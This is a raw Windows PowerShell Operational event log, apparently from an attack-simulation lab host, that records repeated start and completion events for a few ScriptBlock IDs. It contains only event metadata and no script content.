09/09/2021 06:04:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987707 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987706 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987705 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987704 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987713 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987712 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987711 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987710 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987709 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987708 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987723 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987722 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987721 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987720 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987719 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987718 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987717 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987716 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987715 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987714 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987733 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987732 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987731 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987730 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987729 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987728 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987727 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987726 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987725 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987724 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987743 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987742 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987741 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987740 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987739 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987738 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987737 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987736 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987735 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987734 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987753 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987752 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987751 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987750 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987749 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987748 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987747 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987746 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987745 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:04:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987744 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987763 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987762 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987761 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987760 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987759 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987758 Keywords=None Message=Started 